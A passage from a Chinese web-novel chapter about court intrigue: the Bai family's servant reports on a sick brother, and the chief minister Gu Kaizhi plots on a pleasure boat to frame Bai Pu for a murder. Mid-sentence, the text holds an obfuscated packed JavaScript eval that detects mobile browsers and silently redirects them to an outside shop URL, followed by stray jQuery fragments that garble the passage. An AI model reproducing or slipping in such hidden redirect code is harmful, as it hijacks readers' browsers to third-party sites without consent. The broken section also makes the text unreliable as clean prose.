“戚将军一直派郎中照顾着二公子,我回来的时候,二公子已经能进食一些米水。”苍烟赶忙安抚住白璞,“虽未查到实证,但观察数日,有一拨染病的将士在故意接近二公子。”
“……你都告诉戚牧川了吗?”
“小璞放心,我把人名已悉数告知,回来后也告诉了老爷和夫人。”
“嗯,你的猜测非常有可能。”白璞深吸了口气,让自己的大脑清醒,“顾恺之的走狗定会用那些人的家人做要挟,或以利驱之,他们才会……这样对我二哥。”
“是的,夫人也这么说,她劝老爷给戚大将军写信,让二公子回家养病。”苍烟忠心耿耿,事无巨细,“但是老爷没同意,他俩冷战了好几天。”
京城未必安全。
只怕更危险。
苍烟继续汇报,“最近大公子在户部很忙,有几晚都是睡在那儿的。”
“大哥二哥都知道吗?我那老爹在和冷叔联名参包一铭?”
“都知道。老爷对他们没有隐瞒。”苍烟说,“老爷说,现在是关键时刻,全家人都不要出差错,被人拿到把柄,不然就前功尽弃了。”
白璞听到后,心里有点发虚。
感觉现在最容易被拿到把柄的是他。
街坊上谣言‘白小黑就是白家三公子’要是瞒不住就麻烦了,现在白小黑身上还有一口锅呢——他杀了穆有才。
想到这儿,白璞紧了紧喉咙,“我明天得跟蔡非同商量商量,这计划要不要早点结束。”
毕竟杀了穆有才的真凶迟迟没有露面。
“什么计划?结束?”
明显,苍烟并没有听到街坊的传言。这种似真似假的八卦,也只有张自闲有本事获取并且传递给白璞。
“对你说了也没用,苍烟。”白璞听够了,只觉得身边有点冷,把自己裹在被子里,靠在床边,有些乏累地闭着眼睛聆听,“还有别的事要说吗?”
“夫人、夫人也记挂您。”苍烟想到这儿,从怀里掏出了一块蓝色的手绢,里面裹着一枚玉镯,双手捧给白璞。
白璞诧异,“这是?”
“夫人上次来瞧您,听罗叔说,您在江县颇受小姐们的青睐,”苍烟盯着白璞,露出讨好的铁憨憨的笑容,“夫人说,您若看上哪个,她不会干涉,这是她珍藏的玉镯,给姑娘定亲用,也让你早日把人带到京城……”
“不要!”白璞重新闭上了眼。“你拿走,出去吧。”
苍烟耸了耸肩,一双粗糙的大手,小心翼翼的将镯子重新包好,放在了白璞的床案案头。
呵呵,他可不敢拿回去,他又不傻。
苍烟离去后,白璞身上的无助感,又出现了。
跟上次不同,上次发烧根本原因是细思极恐后出汗,继而受了风寒导致。现在已经不用细思。
大哥二哥都受影响了,那这次的谣言,肯定是有人故意冲自己来的。
用心险恶。
非常明确,就是为了对付朝堂上的父亲。
不知过了多久,白璞睡迷糊半醒,感受到耳边有人走路带过的风声,他以为苍烟还未走,便又轻又懒的说,“苍烟,帮我把灯息了。”随即翻了个身,背对着床外。
灯被悄无声息的全部熄灭。
月光透过窗户,撒了一地。
一只苍劲有力的手,轻轻的垂到了白璞床案案头,指节微展,拿走了手绢包裹着的玉镯。
-
江县的寻芳阁所在的一整条街道,名天街,在夜晚尤其繁荣热闹。
街道后面就是蜿蜒的水巷,仅能容下两艘花艇来回通行,梳头婆们仿照戏曲中的旦角,有的蹲于炕上,有的倚于门口。
风流才子们身着绫罗绸缎,乘坐于艇中,身边一两位姑娘相伴,唱曲弹琴吟诗,充满了风雅和情趣。灯艇所到之处,两岸的河房河厅被染成灯彩的颜色,仿佛变成了天上的街市。
花艇看着小,但里面的物品又极其精致华美,水晶做的杯盏、细的成窑、宣窑的杯子,以及上好的雨水毛尖茶。
拉上轻羽制成的帘帐,艇内烛火摇曳,随河水流淌晃动,悠哉悠哉。
其中一艘花艇的帘帐内,顾恺之懒洋洋地半躺着,一袭白衣,听着耳边悠扬的琵琶,纤长白皙的手指捏着玉筷,玉筷又夹着葡萄,缓缓地放入口中。
细腻的皮肤,柔和的五官,面如冠玉,眉清目秀,完全看不出年纪。
脖子上的伤痕倒显得格外突兀,约莫十厘米左右,伤口还很新,嫩粉色。
他的狗腿子包一铭非常拘谨的坐在船的另一头,五十来岁的男人,忐忑不安,如坐针毡。明明不热的天,额头却流着汗。
“谣言散的怎么样了?”顾恺之半眯着眼睛,嗓音微扬,带着一点点吊儿郎当的散漫,低低的,透着琵琶吟诗的背景音,舒缓又清冷。
包一铭头都不敢抬,啪的跪了下来,“顾大人,还多需几日,江县人生地不熟……”
“你可真是废物啊……”一丝若有似无的冷笑飘来。
“顾大人放心,只再需三日,白家老三的马甲必掉。”包一铭咬牙切齿。
“堂堂户部尚书,这种小事都做不了,当初就不该提拔你。”顾恺之念叨着,一面抬手,从袖子里抽出了自己的翡翠秀珍烟斗,往桌子上磕了磕。
包一铭麻溜的跪着爬了过去,从鎏金绣花的囊袋中拨出些缕烟丝,双手捧着桌上的灯盏,为宰相大人点了烟斗。
顾恺之猛吸一口,悠悠的靠在船围,吞云吐雾。
“那小子真杀了穆有才?”
“即使不是真的,也得让蔡非同做成真的。”包一铭冷哼一声。
顾恺之微眯缝着眼打量了一下包一铭,“你搞定了蔡非同?”
船外琵琶曲毕,突然安静了下来。
蔡非同才气甚高,当年又是殷明亲自接见,根本没把宰相放在眼里。顾恺之当年接连暗示,蔡非同可都是熟视无睹、直接装傻啊!
包一铭只得压低了嗓音,音调仅限船舱内传递,“没有,但是据可靠消息,蔡非同根本没把白家老三下狱……只需让蔡非同把白家老三下狱稽查,即便不是真的,朝野上的人哪关心真相?皇帝、王爷更不会关心真相,他们只会知道——白家老三和杀害朝廷命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967393|136874||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
官一案有关,白家教子不严,有辱朝堂!”
让蔡非同配合,很难。但是让蔡非同把白璞下狱,倒是简单。
转而,响起了古琴的声音,琴音如泉水叮咚,清越又空灵。
看来又换了琴娘。
顾恺之释而轻笑,“那就劳烦包大人了。”
“不敢不敢,”包一铭迭迭磕头,“若不是顾大人,下官的乌纱帽和小命早就留不住了。”
“做干净些。”顾恺之言语间已露杀意。
“遵命,那下官告退。”
包一铭毕恭毕的又磕了仨头,掀起了帘帐。
水巷远处即刻驶来了一艘花艇,趁着夜风,包一铭擦了擦额头的汗,正准备踏上接他离开的花艇时,背后突然传来了顾恺之的声音,“听闻王爷最近也在这儿?”
丝毫没有防备,这个问题超纲了,包一铭硬着头皮答道,“这个……下官不知。”
“你走吧。”顾恺之轻赦。
包一铭又跪在地上,砰砰砰毕恭毕的磕了三个头,诚惶诚恐似在祭拜祖宗,终小心翼翼的离开。
谁都不会想到,在这风花雪月的水巷旁,官拜正二品的朝廷大员,竟如此唯唯诺诺。
花艇里的顾恺之继续独自一人抽他的翡翠秀珍烟斗,眉头微微蹙起。
他当时也是在御前凑巧听说殷明来了江县,直觉告诉他江县有事发生,便当机立断,借着白家三少这事儿,也快马加鞭赶来。
去了花间酒楼,盘问了一番,早已人去楼空。
殷明能去哪儿?
为什么每次的去信,都回的很敷衍,甚至有的根本不回。
他是厌恶自己了吗?
哪里做的没有令他满意?
想到这儿,顾恺之又想到了初见殷明的一幕。
大起元年,当年的新科状元正是年少又才华横溢的顾恺之。听说要被皇族宗室亲自召见,新即位的皇帝,勇猛矫健之外,又格外的严厉凶残。连京城里的流浪汉都被他下圣旨全部诛杀。
心中忐忑不安,一夜未眠。
居然错过了入宫的吉时,在宫门口祈求将士放自己进去。
“我是今年的新科状元,求求官爷,让我进去吧。”
顾恺之年少,求人的态度青涩又稚嫩。
守卫冷漠的摇头,“你快走吧,现在进去,咱们都得被杀头。”
“可是我不进去,我就是抗旨啊,我也会被杀头的……”
就在这时,殷明走了过来,“让他进去。”声音平静,毫无波澜。
守卫全部齐刷刷的跪下,毕恭毕敬的行礼,“王爷。”
同时守卫长冲顾恺之摆了摆手,示意他赶紧进去。
顾恺之哪见过这阵仗,有点懵逼,踉跄了一下,也顾不上说什么,怕守卫反悔,往约定好的宫中凉亭跑去,那里同行的人都在等他。
谁知刚跑一会儿,就被一个太监喊住了。
“状元官,状元官留步。”
顾恺之回头,正是跟在殷明身边的那个小太监,手里拿了一件黑袍,他立马抬手作揖,“大人万福,有何事吩咐?”